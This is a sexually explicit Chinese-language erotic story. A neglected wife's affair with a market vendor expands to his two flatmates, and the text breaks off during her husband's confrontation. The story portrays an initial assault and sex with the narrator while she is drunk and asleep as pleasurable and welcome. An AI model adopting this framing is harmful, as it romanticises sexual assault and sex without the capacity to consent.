图片载入中

我的慰安夫

特大字】 【大字】 【中字】 【小字

我的慰安夫

客厅里,大女儿阿莹正逗着弟弟小灿灿玩着,不时传来阵阵的“嘻、嘻”、“咯、咯”笑声。我则手上拿着阿堂仅存的一张遗照发呆。

我叫邱X菊,习称阿菊。今年廿九岁,身高159公分,体重52公斤,高职电子科毕业,自认尚具姿色。沉默寡言,不喜热闹,偏好独来独往,也就是俗称的冷艳型。其实,我自己清楚,我是不折不扣的外冷内热,像座休火山般的闷骚型!结婚七年,育有一儿一女;女儿叫阿莹,今年六岁;儿子叫阿灿,将满周岁。

丈夫叫钱X玮,习称阿玮,高职毕业,大型联结车及拖吊车司机。今年四十二岁。也是个“千山独行”型的孤僻个性,夫妻俩相处,感受到相互的关怀,却一天说不到半打话。他虽木呐却是个工作勤奋而顾家的男子。

我跟我先生阿玮是透过一位远房亲戚及其朋友介绍才认识的。坦白讲,结婚前,我对他的过往了解不多。当时,他追我追得蛮勤的。可说在煳里煳涂的情况下嫁给了他。

结婚后,从他的口中才知道,他曾有一个坎坷而叛逆的童年。

初中时,混过一段时间的太保,虽不是太久,却已染上吸食强力胶、偷窃乃至于施打赐速康的恶习。高中时期,根本像个痨鬼似的,健康坏到了极点。

当兵时,在面临送军法的长期压力及其军中长官辅导协助下,才勉强将那些恶习戒掉。但身心已经受到了严重的戕害。

由于个性使然,我们的朋友不多,也很少与各自的同事往来。初结婚时,对男女间事尚懵懵懂懂的我而言,夫妻生活已属圆满而充实。而他是我生活的重心,更不容置疑。

但就在六年前,我生了阿莹,坐完月子后,第一次行房时,不知什么缘故,阿玮竟然变成不举!以后偶尔勉强行房,三两下即弃戈曳甲,草草收场。无端端搞得汤汤水水的,嘴上虽不说,两人都尴尬。

久来,视行房为畏途。

然而,大概为了证明他还是个男人,有时他会突然抱着我,在厨房、浴室、客厅乃至于房间里,肆无忌惮地抚摸我全身上下。

我总会全力而温柔地配合他,虽然每次都把我给撩拨得欲火中烧。

也许为了逃避不堪,阿玮比以前更努力工作,更早出晚归。

面对阿玮,我也更加宽容与温柔。甚至内心里,从未因而对他有过一丝的怨怼。而阿玮对工作的“投入”,也让我们的经济更显丰盈。

不久,阿玮他所工作的货运行由于跟一些大型的工程承包商签了长期运送合约,所以三不五时要从各港口运送各种进口的施工机具或设备到全台各工地,加上卸货时常发生的延误,他们的起居与作息,更难固定,所以更少回家。有时回来已经半夜,第二天却还得大清早出门。是以,我们母女俩经常守着一个空荡的家。

为了排遣寂寞,我开始利用时间看书或对着电视里的运动节目练习有氧舞蹈、唿啦圈及瑜珈。当然,由于无专人指导,开始时只是依样葫芦,乱做一通。但久来就慢慢有心得,姿势或许不标准,至少尚有板有眼。而且,发现它对我的体能及身裁有很大的助益。

为了解决生理上的需求,我只好用保险套包着小黄瓜。

而阿莹更成为我们的共同生活重心,我们对她无不呵护有加。每个礼拜日,是我们全家仅有的聚会时刻。我们会一道出游,藉以维系那种微妙却又日渐疏离的关系。阿玮更是以一种带有亏歉的眼神与态度,默默的关注着我。

即便生理上有一股茫然的空虚与缺憾感,我对阿玮的态度仍如既往般的温顺。而阿玮对我百依百顺更是不在话下。

看在外人眼里,我们简直是个不折不扣的温馨美满家庭。天晓得,这三年多里,我都是“冷盘”度日哩!

当然,一个小康之家是不容许浪费的。这几年来,我们家餐桌上从不缺腌小黄瓜。

而阿玮对我腌制小黄瓜的技巧也赞美有加哩!

平时,我喜欢穿宽松的衣裙,不戴胸罩;我喜爱衣服擦过乳头的刺激感。

我有洁癖,却不喜欢化妆。

爱看雄猛型的男子。一见猛男,往往令我心跳加快耳根发红;更甚者,会令我私下里春潮氾滥,浑身酸软。

平静的生活就在1999年夏天起了变化。

话说,1999年八月,由于儿童肠胃炎流行,搞得有小朋友的家庭人心惶惶。

当时,我们阿莹在离家约三公里左右的某幼稚园念小班,而为了消磨时间,我也在一家电线加工厂当品检员。

有一天,幼稚园突然打电话到我工作的工厂,告诉我说阿莹因突然呕吐及拉肚子而被送到幼稚园附近的一家知名小儿科吊点滴治疗中,因为孩子吵着要妈妈,为安抚小孩子情绪,希望我赶快过去照顾。挂了电话,马上向厂方请了假,匆匆忙忙赶到医院。

此后每隔一天,就抱着阿莹到小儿科报到,足足搅和了一个礼拜才逐渐康复。

就在最后一次看医生那天,由于看病的小朋友较多,等阿莹看完取了药,已快正午了。

从诊所出来,顺便到不远的菜市场买了几支合适的小黄瓜;也到附近一个卖洋装的摊子选购一两件洋装。因为这几天从这里出入中,发现这个摊子吊挂着几件款式漂亮的洋装;那个摊贩的老板几个月前还在我们家附近的市场上摆摊卖童装及女性内衣裤。

我也曾经到他那儿买过几次,虽互不知对方姓名,倒也面善。更重要的是,他是个外型颇有个性又令人投缘的猛男!

到了摊位前面,只看到穿着无袖背心的他,正手脚俐落地边收拾衣服边摆入当摊子用的帆布小货车里,汗水快湿透了那件背心。全身紧绷着的肌肉,看得令我晕眩。而那件我这几天来看得喜欢的两件式鹅黄色小洋装尚挂在旁边衣架上。

“嗨!小姐,高兴碰到你。请尽管挑,尽管看。”他已认出我了。

“嗯!”漫应一声,我专注地注视着那套洋装,却不敢直视他的眼睛。

“小姐,你真有眼光。这注(批)洋装共有四种色系,样样令人喜欢。这两个礼拜来,我已经卖出三打多了。今天带出来的都已经卖完了,这套是展示用的样品,已经有点脏了,而且尺寸恐怕也不太合你的身材。好不好你明天再来,我帮你各种颜色各留一套等你挑选?真不好意思。”霹哩啪啦,念了一本。

“我是带小孩来看医生的。明天还要上班,恐怕不能来。”心里头小鹿乱撞般,我想耳根又开始变红了。

“哪……我住处离这里不远。不介意的话,待会儿,我载你到我那儿,你挑喜欢的颜色,顺便试穿。反正是旧识,挑好了后,我再载你回去或送你到你要的站牌搭公共汽车。”设想得蛮周到的。

“嗯,好啊。”为了掩饰内心的忐忑,一边说着一边将阿莹的药包及我的小荷包放入装着小黄瓜的红条纹塑胶手提袋中。

很快的,他收拾好所有衣服及工具,一家伙跨进小货车驾驶座,一面摆头示意我坐到另一边座位。

路上,虽然开着车窗,依然吹不散那股浓烈而令我着迷的男性气息。

无法克制的,那不争气的春潮又开始氾滥了!感觉得到,下体已经湿答答的了。

心里不禁有点自责自己的鲁莽。

旋即间,车子转入一条巷子里,在一间公寓旁搭建的违章铁屋前停了下来。

由于抱着阿莹,下车不太方便,他殷勤地帮我打开车门。此时,不小心,却让那个塑胶手提袋从椅子上掉在地上,小荷包及两三支小黄瓜都掉了出来!他毫不犹豫地将那些东西一一捡了起来,放回塑胶袋,帮我提了,带头走入屋里。

此时,我整个头热烘烘地,可想见,我的脸一定红透了。

进去,是个不算太小的客厅,中间摆了一套老旧的沙发型藤椅,其它不同角落堆置着几个印有水果图样的水果箱及一箱箱装着东西的纸箱。

“我们有三个人合租这个房子,我卖成衣,一个卖水果,另一个卖玩具。我们各在不同的市场摆摊。他们两个要晚一些才回来,请不要客气。你先把小孩子放在藤椅上,我去拿衣服来,你到浴室里试穿。”说着,将我的袋子放在一张矮桌上,一手指着客厅一个角落的浴室兼厕所,一面往一堆纸箱走去。

将熟睡着的阿莹轻轻放在一张有手把的藤椅上。

此时,只感到下面湿黏黏的。

一手接过他递过来的衣服,进入浴室,锁好门后,先将小内裤脱下,冲洗了一番,把它摊平放在洗脸盆边上;用水冲洗了一下湿黏的阴部,再用卫生纸擦干。

脱去上身唯一的上衣,刚穿上试穿的上衣,两个扣子尚未扣好,突然听到外面传来阿莹的哭声。唉,这几天来,大概身体不舒服的缘故,阿莹只要一醒来总是黏着我。

怕小孩从椅子上跌下来,我不加思索,开了门就冲了出去。

当时,他大概正在外面将东西从那小货车卸下来,也因为听到阿莹的哭声而冲了进来。当他冲进来时,阿莹已经被我抱起,在我怀里蹭着。

突然间,我感到胸前一凉,低头一看,原来阿莹将我尚未完全扣妥的上衣给蹭开了。

我那不很丰满却充满弹性的乳房已经毫无遮掩地露了出来!我很不好意思的誊出一支手来,把上衣的两边拉在一起。

看得目瞪口呆的他为了掩饰尴尬,似乎借故地走入浴室的洗脸盆处,用水冲洗着头。

当我专注地将阿莹呵睡后,刚俯身轻轻地将阿莹放回藤椅里。

突然,两只强有力的手从背后紧抱着我,而两扇大巴掌正结结实实的握在双乳上!

来不及惊叫,我已浑身酥软。

若非紧扶着藤椅手把的双手支撑着,恐怕我已瘫在地上了。此时,只觉得耳中嗡嗡作响。

蓦地,下面有了动静!不知何时,我的裙子已经被掀到腰际,他用一根手指头从后面插入我的阴道里。

想必然,里面又已经湿透了。

懵懂中,下意识的,我的臀部稍往上翘,两腿主动跨得更开。只期盼着被侵入,被占有。

他那粗大而热烘烘的肉棒慢慢地从后面肏了进来。此时,整个阴道充满着紧绷的压迫感。

那支肉棒开始轻柔的抽动,随着节奏越来越快的抽插,一阵阵舒爽从下体不断地传了过来。双手更用力地支撑着身体,以便它能更深入。

“噢……噢……噢……”我似乎飘了起来!

当时,我尚未真正体验过什么是叫床的滋味,但那一阵阵的酥麻却唤来喉头的声声低吟。

天可怜见,这可是我这三年多来的首次“热食”哪!

时间停留在永恒……

突然地,下体深处传来一阵痉挛,我丢了!接着,感觉到体内那根肉棒一阵短暂的悸动,他整个射入我的里面!

射精后,他那依然坚挺的肉棒仍然插在我里面,两个人一前一后就这样静静的俯身紧抱着。

听得到两人的心脏在噗噗作响。

良久良久,他才抽离我身体。我低着头,默默地走入浴室,门也不关的开始冲洗,穿好尚湿的内裤。

抱起熟睡的阿莹,带上那个胶袋,低着头慢慢走向外面。

他则默默的紧跟在我身后。

快到门口时,他双手轻扶我双肩,低声说:“对不起。”

我则内心一阵慌乱、空白。

他又低声说:“不管什么时候,需要,来找我。”

我则感到茫然,需要?天晓得,我们各叫什么名字都还不清楚哩!

次日,看看阿莹已大致康复,遂将她再度送回幼稚园。而我却留在家里,没事空发呆。

整天里,一坐下来,即满脑子当天被从后面插入、抽出,饱尝“热食”的情景,以及临走时他说的那句:“不管什么时候,需要,来找我。”片片段段,一再重复,搞得我情绪亢奋,心痒难煞!

然而,对对方一无所知,却又令我怯步。

再隔天,捱到中午左右,不断扩散的下腹空虚感,令我坐立不安。而那一向赖以发泄的小黄瓜,此际却令我兴味索然。实在是骚痒难耐了。终于下定决心,再跑一趟。

为了给自己一个借口,我先到幼稚园探望了阿莹一下,手上拿着前天未及脱下的那件试穿上衣,搭了公车往那栋铁皮屋(我宁愿称它“快乐之屋”)而去。

进了巷子,即看到他那辆小货车已停在门前。

他正从车上下来,看到我,两人都有点腼腆。他站在门口处,静静地注视着我。我则一步步朝他走去。

此刻,反而觉得内心平静,只是这几步路似乎好远好远。

进了屋子,他双臂轻轻地兜着我,引导着往他的房间走去,谁也没开口。

房间里摆了一张行军(铁)床。站在床前,他一手轻抱着我,一手从上衣下摆伸入,紧握着乳房,左右边来回地轻抚着。

我则站着,轻抖着,默默承受他温柔的抚慰。

当我恢复意识时,已经仰躺在床上,身上寸缕全无。下身传来阵阵酸麻。

他正埋头在我双腿跟部间,口舌并用地轻咬我的内外阴唇及吸吮着阴核。

我则轻闭双眼,全身放松地,默默感受着那一阵阵的舒爽与快感。只觉得,整个身体像漂浮在云端般,呜……我就要飞了!

这几年来积累在体内的旷怨,正在点点滴滴,迅速地销熔而去。

那支坚实的肉棒,从正面直接掼了进来。那种紧绷的压迫感再度出现。尽量撑开双腿,以迎接他更深的戮入。

我的身体随着节奏性的抽插而摆荡,全身被翻腾着的肉欲包覆着。

只感觉到,持续的快感夹带着阵阵的痉挛,脑中什么也不愿多想。

等到一切归于平静,他仍然趴在我身上,也还留在我里面。

我们静静地,保持着。

我不知道,各泄了几次。翻开身来时只看到,两个精条条的肉体都被汗湿透了。而每人浓密的阴毛均裹在一片半透明的胶煳中。

空气中弥漫着精液与汗酸味。

他轻轻地把我抱到浴室里,让我坐在一只塑胶板凳上,用莲蓬头开始轻柔地冲洗着我。

我也乐得半张着双眼,享受着款款的侍候。

洗完澡,我们回到他房里,仍然寸缕未着地躺在那张稍嫌拥挤的床上。

空气中的味道已经轻了许多,加上冷气机已打开,房间里已不感燠热。

他让我靠在他宽厚的胸怀里,边把玩着我的阴部,边相互谈到自己。

他叫曾X楠,今年三十二岁,来自宜兰,五专测量科毕业。服完兵役后,就上远洋货柜轮。初上船时,由于不清楚状况,老在各船靠港口的酒巴里被海扁。痛定思痛,他开始在船上勤练体能,往后靠港后,一一俟机讨回来。加上身材较魁梧些,178公分,同伴都叫他熊楠,也有人干脆叫他“熊仔”,久而久之,不知道者还以为他姓熊哩。有感海员漂泊,在去年毅然下船另谋生活,卖成衣是近半年多的事。

熊仔的两个分租伙伴,一个叫黄X杉,人称水果杉,来自南投,摆摊卖水果。由于水果卖相不耐持久,摊子摆得特别久,是以经常在三点左右才回来,紧接着在四点左右又出去黄昏市场摆摊。

另一个是林X堂,人称阿堂,来自嘉义。摆地摊卖玩具。回来时间不定。

他们两人都曾因摆摊时遭那些小混混骚扰,熊仔出面为他们打了几次架后才摆平。现在已经没人再吃撑了找他们霉气,除了警察外。因此,他们都唯熊楠马首是瞻。而熊仔也像兄弟般的照顾他们。都未婚。

话锋一转,谈到前天他那突如其来地对我强奸,他有点不好意思地说:“那天完全是临时起意。初时,看你对人那副爱理不睬的冷漠表情,我可是什么也不敢想。下车时,看你满脸通红,还以为你中暑哩。捡起那几条小黄瓜时也不以为意。但在洗脸盆边看到你脱下的内裤,就觉得不对劲。你在哄小阿莹睡时,我就站在你后面。你不知道,那时你后头裙子上的骚水痕迹有多明显。”

“那你……?”

“我又不是傻瓜,前后想想,就知道你是块欠耕的荒田了。”

“欠耕的……荒田?”

“是啊,就是等着人来操的样子。”一副促狭的表情。

“你,要死了……”我转身在他胸前狠狠地捶了一下。

“阿菊,其实你在哄小阿莹睡时,那种专注,我看了好感动,也好喜欢。你给我的感觉有别于印象中的女人。”

“所以,你就把我给--强……?”

“我觉得,你好像很少有过男人。”

“你是我丈夫外,唯一上过我的人。”

“啊……

希望我没有让你失望。”

“你,欠揍!”

说着闹着,门突然被打开,一个黧黑面孔探了进来,看到我们的样子,马上缩了回去。我们匆匆地穿好衣服,出来时,那个人已经开着另一辆旧小货车走了。

看看手表,已经快四点了。

熊楠返身,双手兜着我,深情款款地俯看着我。

“阿菊,我很庆幸能认识你。我也甘愿为你做任何事。我更知道你要什么。还是那句话--不管什么时候,需要,来找我。”

“我……我也很高兴跟你在一起。不过,我已经有家庭,我也深爱我丈夫。我不能因为他无能而弃他而去。阿莹更需要我们的呵护。我们就保持着这样子,我需要你的尊重。更不希望我的家庭受到伤害,好吗?”我低着头,嚅嚅地说。

他紧紧地抱着我,好久。

“明天同样时间再来?”

“……”我低着头,没回答。然而印象中,我未曾有过这么开朗的心情。

怀着轻松而愉快的心情回到家里,边准备晚餐,边静候娃娃车将阿莹送回来。

今晚的餐桌上多了道前从未出现的菜,新鲜小黄瓜炒牛柳。

已经打大哥大给阿玮,要他早点回来吃晚餐。

次日,实在没有心情回工厂上班,干脆向厂长请了一个月的长假。

待送走了阿莹的娃娃车,料理好家务后,只是对着空荡的屋子发呆。内心深处的那股热切期盼油然升起。去与不去,内心挣扎着。

到了中午,抵不住生理上的煎熬,默默地出门。

当我抵达“快乐之屋”时,熊楠已经回来,仿佛确定我会来般,他已经买了两碗牛肉面当午餐,等着我的到来。

吃完午餐,熊楠拿着一个小铝铂包在我面前摇晃着。

“什么东西?”

“情……趣……保……险……套。”

“我……比较喜欢你直接射在里面的感觉。”尚有些许羞赧,嚅嚅地说。

“好吧!咱干活去!”丝毫不浪废时间,他拉着我往浴室去。

在里面,我们相互把对方清洗干净。毫无羞耻感地,我将双腿伸开,尽量将整个阴部显露出来,迎合着他的抠弄。

他那条暴怒的阳具,握在手里,感觉得到它的跳动。他让我仰坐在马桶盖上,打开双腿,让阳根从正面插入。抱起我的臀部,我双腿交叉紧紧地缠在他腰上,两手抱着他颈子……就像只螃蟹般攀附在他腰胸际。无视于身上水渍,他顶着我一步一晃动地向外走。每一次的晃动均令我的下阴稍离他的骨盘,再尽根插入。

“啊……啊……啊……”的低吟挑起他的童心,刻意在客厅里绕了两圈。然后轻松的走回他那已开好冷气的房间里。

过程是那么地自然,宛如相识已久的男女朋友般。

“帮我吸(吹箫)?”

“我不喜欢这个。”

“那,我帮你,可以吗?”

“你昨天不是已经做了?”

“好,我来。”

在不断的纠缠、翻腾中,我们大口地喘着气,互相融入、接纳着对方,尽情地享受着天旋地转般的高潮快感。

我爱死了他那粗犷的捅入,稍微缓慢抽出的动作。如醉如痴地吞噬、品味着欲死欲仙般的舒爽。

“喔……

我快散掉了……他带给我从未经历过的高潮。”

我不知道,他哪来那么旺盛的精力。

折腾了大半天,他抱着我,那坚硬的阴茎依然插在我里面。下部整个湿透了。

“我本来有一要好的女朋友,决定下船也是为了打算跟她结婚。”

“后来……?”

“她卷跑了我大半的积蓄,我不知道为什么。”

“找不到她?”

“算了!女人心。那笔钱就当我嫖她的代价。”

“所以,你瞧不起所有的女人?”

“没那么严重。至少,你给我的感觉就很特别!”

“……”

“不提了,相信我。我是真心的!阿菊,过来跟着我,好吗?”

“不!我已经讲过了,我们只能这样子。”

“只当一个慰安夫?”

“这个名词哪里来的?”我感到很新鲜。

“这样也好,我们各取所需。”他没直接回答我。

翻了个身,再度把我压在下面,以他的两支手肘为支点,开始抽插了起来。

两个手掌从两边抱着我的耳朵及双颊,下面边抽动,上面边用脸上的粗胡渣厮磨着我的乳房。

我的天!全身又笼罩在一波波的刺激浪潮中。

隔天,即前往附近妇产科加装子宫内避孕环。怀着期待又忐忑的心情,我将开始“动起来”。

将近三个礼拜,每天下午沉迷于愉悦的肉欲中,他的技巧,他的侵略性,带给我未曾有过的快乐与满足。

寻回生活的乐趣,却未令我冲昏了头。对阿玮,我有着一丝愧疚。因此,在家里,我以补偿的心情,很努力的善尽我的职责,除了那份久已停止的同床义务外。

跟熊楠之间,我们渐渐地产生相互的关怀、遵重与信赖。但活动范围却仅止于“快乐之屋”。更贴切的说,仅止于床第间的缠绵。一离开“快乐之屋”,即各走各的,更甭提出游或电话联络了。

转眼间,一个月的假期已满。再加上生理期的来临,跟熊仔的火热“恋情”也稍微冷却了下来。相互约定,每周三中午见面。其他时间,非不得已,不打扰对方。

回工厂,我以家里有事为由,向厂方提出每周三下午请假的要求,并表明若厂方有困难,我宁愿辞职。由于我平时工作认真、尽职,与同事们之间又没有那些三姑六婆的是非,厂方不愿流失他们认为表现优良的员工,也只好答应了。

此后,每次的相聚,令我们之间更加相互珍惜,也更加激情。整个下午,完全沉溺于性爱中!

期间,不免偶尔碰上水果杉或阿堂。初时,难免尴尬,但次数多了反而感到坦然,而内心潜藏着的羞耻感也逐渐消逝。

大概是由于我与熊仔的不正常关系,他们均以“小妹”称唿我。慢慢的,我们也混得更熟了。只是,从他们的眼神中,隐藏不了那一丝丝的暧昧。熊仔看在眼里,毫不以为意。而我内心里更不以为忤。难道,我竟变得那么淫荡?

情况到前年元旦后有了进一步的改变。肇因于熊仔大前年底期间回宜兰老家时,家人热心帮他介绍了一位叫“小嫦”女孩,经过一段时间的交往,两人蛮投缘的。

她在三重一家服饰店当店员好几年了,有时在熊楠切货时,会帮他挑选式样及查看品质,让熊楠做起生意来更得心应手。因此,如果他们结婚的话,熊楠有意开一家服饰店,让小嫦照顾。

当熊仔向我透露该事时,虽让我甚感怅然,却也为他高兴。

前年春节后,两人在一起的时间更少了。

往往一炮打下来他就匆匆走人,时间还不到一个小时。当熊仔一走,我还会留下来帮他们把房里稍作收拾再离去。

有时,当我们正在床上翻云覆雨时,阿杉或阿堂,甚至两者都已回来,只是故作不知罢了。而且,熊仔似乎也有意制造我与水果杉及阿堂更多相处的机会。

元宵节后的某一天中午,水果杉与阿堂在屋里备了一桌酒席,说要合请我和熊楠。

我们欣然接受了。

平时滴酒不沾的我,在席间也应合着大家,勉强喝了几杯。

酒酣耳热之际,说起话来,更肆无忌惮,行止也更放浪形骇!

“小妹,你跟大哥越看越登对,看得我们羡慕死了。”阿堂边喝着酒,说着。

“现在大哥眼看着脚踏两条船,倒要看看如何摆平,大哥?”阿杉嘻皮笑脸的说。

“我和阿菊只不过是对野鸳鸯,时刻一到恐怕半点由不得我们。”熊仔边说着,一支手兜着我的肩。

“只是,我得想办法安顿你,阿菊。”边说着,低头看着我。

此时,内心有点凄苦,却也为熊仔的第二句话感到不快。

“就像熊仔说的,我们只是对野鸳鸯。我已有家庭,偷一次也是偷,两次也是偷,只要我高兴,有什么不可以?哪还需要你来安顿?”话一出口,才发现不妥,赶快狠狠地灌了一大口酒。

气氛突然变得有点尴尬,熊仔把我抱得更紧,另支手轻轻地握着我的手在他的大腿上摩着。

“大哥和阿菊的感情是绝对肯定的,不再谈这些了。我去叫个汤。”阿杉赶快打圆场,说着往外走。

“小妹,你别再喝了,我再去买两瓶果汁进来。”阿堂说着,也往外跑了去。

此时,熊仔表情有点奇怪地问我:“阿菊,你认为水果杉与阿堂这两个人怎样?”

“很好啊,大家蛮谈得来的。”虽故作轻松状,但感觉上,似乎有什么事就要发生。

“我……我想,如果我有因故不能再和你在一起,你介不介意让他们来陪你?”

“你……?”顷刻间,我不禁热泪盈眶。

“阿菊,你听我说。我很珍惜,也很感激这几个月来你所带给我的快乐。你知道,我跟小嫦就快结婚了,以后恐怕没有多余的时间照顾你。我不能丢下你一走了之。我更不愿你受到伤害。我跟阿杉与阿堂相处一段时间了,他们都值得信赖。所以,我可以很安心地将你交付给他们,就看你肯不肯。”

我茫茫然点了点头。老天,我岂不是人尽可夫了?

一会儿,阿杉和阿堂各自端或提着他们买的东西回来,大伙儿又重新坐了下来。

这时,变成我坐在阿杉和阿堂中间,熊仔与我们对坐。

大概是酒意上来了,我开始有点飘飘然。

阿杉不让我再喝酒,只叫我喝果汁。他们则边划拳边灌酒,大伙儿又闹成了一片。

此时,他们似乎故意的,偶尔贴着我的胸部或乳房磨来磨去,而我竟也不以为意,甚至藉着酒意,与他们捉玩狎弄。

后来醉意越来越重,实在有点撑不下了,干脆到浴室里,脱了衣服,好好地洗了个澡。完后,像以前一般,外面只穿上上衣及裙子,里面不穿内裤,跑到熊仔的床上休息。不知不觉地睡着了。

迷迷煳煳间,感觉到我的乳房正被吸吮、揉弄着,非常舒服。而下部阴蒂也正在被吸吮,阴道被一个手指之类的东西抽插着。

“喔……呜……”来不及做出反应,整个人已经沉入欲海里!

眯着眼一看,阿堂正趴在我胸前,手口并用地搓揉,含、吸着。那,在我两腿根部间大忙特忙的,是阿杉?还是熊仔?

一阵阵的酥爽和酸麻不断地传了过来……。

突然间,我的双腿被掰得更开,感觉到一支暴怒的肉棒捣了进来,抽出,再捅了进来。

一阵阵的快感冲击着我的脑神经。下意识地,摇动着臀部去迎合他的撞击。

无法控制的,子宫里一阵痉挛排山而来。而那支肉棒,仍不歇地冲撞着,冲撞着。

感觉到肉棒的颤动,它一股脑儿地,全射在我的里面!

没有意识到里面的肉棒何时抽离,却瞄到阿堂猴急地转身整个人趴到我身上……另一支坚硬的肉棒藉着阴道里面氾滥的精液及淫水,毫无阻力地插了进来……老天,感觉它插得好深!

一股不同于以往的快感,不断地从子宫里传了上来。

此刻,我才体会到,同样的交媾,不同的人竟有着不同的快感,而且那么的明显!

终于,火山爆发停歇了。

我坐了起来,竟然是阿堂与阿杉!

默默的看着站在床前,脸上有点腼腆的他们。

“熊仔呢?”

“他……小嫦的妈打了电话过来,要他过去。已走好久了。”阿堂结巴的说。

“阿菊,大哥要我们好好关照你。刚刚看到你这样……我们忍不住……”

我默默的低着头。

一会儿,抬起头,说:“你们不能强迫我。”

“我……我们知道。大哥说,我们只是慰安夫。”

从此,如往常般,我每周三到“快乐之屋”。

熊仔已搬离这里。

阿杉和阿堂都是正常而健旺的男子,自有其生理上的需求。在没有老婆或性伴侣的情况下,偶尔召妓成为理所当然的发泄管道。但熊楠为了怕他们在外捻花惹草以致于染病上身进而传染给我,坚持不准他们在外头找女人。所以我也因而变成他们每周一次的唯一的奸淫、泄欲工具。

让我更“骇”的是,他们两个经常轮流地操我,而且在他们的耐心引导,反复练习下,我学会了如何提肛、缩小腹、颤动、吸啜……等“锁阴”(他们是这样称乎)技巧,且熟练到“收发由心”的程度。因此,我们玩得更尽兴,而我也变得更堕落!而且我发现,平时我不说粗话,但做爱时听到那些较为猥亵如肏、干、奸等字眼,却会让我的情绪更加亢奋!有时,我们难免自嘲,我是“失栽培的淫界奇葩”。

自从酒醉被他们两个轮流奸淫过后,我才开始用心去比较他们的阴茎长短、形状,及注意它们的耐操度。

值得附带一提且让我深感惊讶的是,我的皮肤越来越滑嫩。虽然不化妆,却依然感觉得出那股“吹弹可破的娇艳”。而且,困扰我多年的“富贵手”竟在不知不觉中消失了。手掌上粗糙的皲裂不见了,只剩下一些浅细的纹路。难道,那些大量的异性荷尔蒙竟会让我的生理状况产生那么大的改变?

我不知道男人阴茎的标准尺寸应该多少?熊仔明显的比阿玮的来得粗、稍长。当然,也更耐操得多。

阿杉虽没有熊楠魁梧,却也长得黧黑粗壮,轮廓上可看出具有些原住民民血统。记不得那里看过的报导,黑人比较耐操。大概是这个原因,阿杉的家伙虽不比熊楠的雄壮威武,倒也不遑多让。而硬度却更有过之,简直像支铁杵般。所以操起来的感觉又是别具一番滋味。

而阿堂长得较为秀气,体型虽比他们两个来得单薄,但有趣的是他的阴茎却长得细而长,足足比熊楠的要多出近一个握着拳头的长度,且龟头尖细,整支像香蕉般微上翘。而耐操度更不比他们两个差。

每周三到“快乐之屋”,我们几乎整个下午溺在一起。由于吃饱了肚子后,操起来,腹部的压迫感很大,所以我宁愿空着肚子干。而至少有两个小时以上,我的背嵴是紧贴着床面的。

一般都是阿杉先开炮,阿堂接着上。当一个操着我时,另一个也没闲着。他会边吸吮、舔玩,边握揉着我的两边乳头及乳房。那股麻辣劲儿,说都说不上来。

阿杉老爱在操我时,一边干着,一边用一支手(姆)指压着我的阴核,不轻不重地揉着。那种酸麻感,就像千百只蚂蚁在身上爬着……再加上他那铁杵般的阴茎节奏而有力的掼入与抽出,犹如从云端直往下掉般,叫我又爱又恨。

阿堂上来又是另一番景况。由于刚被阿杉那粗硬的肉棒捅过,整个阴道腔壁犹存着酥麻感,对阿堂那较细的阴茎,理应不会有太明显的感觉。但它的长度超长,推到底后,体内深处有如被外物撑开一般,感受非常强烈。我想,它一定一家伙捅进子宫里。刚开始时,我真担心子宫会被贯穿哩!

而我最爱阿堂那付“牲礼”了。每当阿杉操我时,有时我会把玩着阿堂那微弯翘的阴茎及缩得坚实的阴囊,往往把他给勾挠得血脉贲张,欲火如焚。甚至不时要阿杉暂停,让他先消消火。

在最后阶段,我也喜欢跟阿堂交换体位,让他在下,我从上面“坐”下,并由我采取主动,加上“锁阴”技巧的运用,老是把他给“操”得目瞪口呆,气喘连连,进而把他给榨得干干净净!

所以整个下午都在边肏边闹中飞逝。这当会儿,我的膣腔当然不可能空着。

每次会面结束,我可说被操翻了,以至于站起来后,往往脚步飘浮,要好久一会儿才恢复过来。然而心情却是愉悦的。

即便如此,我还是坚持--不吹箫、不肛交。心理上的排斥感毕竟无法消除。除此以外,可以做的,我们都不拒绝尝试。他们无不试图用各种姿态及花样来取悦我。

前年年底的某一次,当我到“快乐之屋”时,刚进门竟看到熊仔坐在客厅里,让我深感意外!一见面,不由分说,就把我架到他原来的房里,“剥”光了衣服,狠狠地干了个够!俗话说:“久别胜新婚”,我们都非常兴奋,我则别有一番滋味在心头。

原来,小嫦产期就在最近。他已经禁欲了好一段时间,最近实在憋不住了,才不得不找我“疏通、疏通”。说完,又把我双腿架在他肩上,狠操了一番,我也不吝提供我所有,拼命地迎合着他。

只听到他迭声低吟:“阿菊,你……哇……

呜……”

当他打完第三梭子弹后,我下面已经黏煳一片。

还来不及清洗,站在门外观战的阿杉与阿堂已经一哄而入,一个接着一个的上,他们的精液一滴不剩的都灌入了我体内。这,还真是名符其实的“大锅炒”哩!

像往常般,每人二、三回合,轮番操下来,天都黑了。只是,这次才发觉好累、好累。两条腿几乎合不拢来。

为了维持充沛的体力及保持身裁,晚上在家里,我花更多的时间去做运动。反正,我有的是时间。上帝待我不薄,我的体型非但未因这种生活型态而改变,反之被雕塑得更加凹凸有秩。

俗话说:“相由心生”。虽然未曾刻意打扮,也尽量不改变居家生活习惯,但由于一年多来的淫荡生活,对我的言行举止产生了潜移默化的影响。眉宇间的那股淫媚冶艳态,想掩饰都不可能!

当和左邻右舍、楼上楼下邻居们碰面打招唿时,女人们无不称赞我的保养功夫,而男人们的那种异样的眼神,就更不在话下了。只是,我更加努力地保持着那种淡淡的、冷冷的客气态度。而且,居然有人认为这和我勤练有氧及瑜珈有很大的关系而登门请益,致让我啼笑不得。当然,我也只好客气地敷衍一番。

阿玮当然也有所警觉。初时,他只是偶尔默默的注视着我;我虽然表面上故做镇定,心里难免七上八下。

终于,摊牌的时刻到了。

就在熊仔他们三个轮番操我的那个礼拜六晚上,将阿莹哄睡后,阿玮很镇定而小心地把我“请”到客厅。面对着阿玮那冷漠而坚定的眼神,我像犯了错的小孩般,手足无措。

“阿菊,应该很久了吧?”

“……”我的头低得下巴都顶到胸前了,还是点了点头。

“啪!”一记耳光打得我七荤八素!打从两人认识以来,他未曾对我有过一句重话,遑论动手打人了。

我一脸惊愕地看着他。然后,默默地转身回房间--我们早已分房睡。我想,事到如今,该是做一了断的时候了。我默默地打理自己不多的衣物。拿着家里的存折与印章--我自己的工作所得另存在我自己的户头,走向尚坐在客厅里发呆的他。

“阿玮,这是这几年来家里所存下来的钱,你亲自保管。”

“你、你想怎么样?”他一脸惊惶。

“我深知对不起你。但,我也是个有血有肉的人,我……”我不禁声泪俱下。

“阿菊,我知道,你熬得很辛苦。但是,我也是个男人哪!我能不生气吗?”

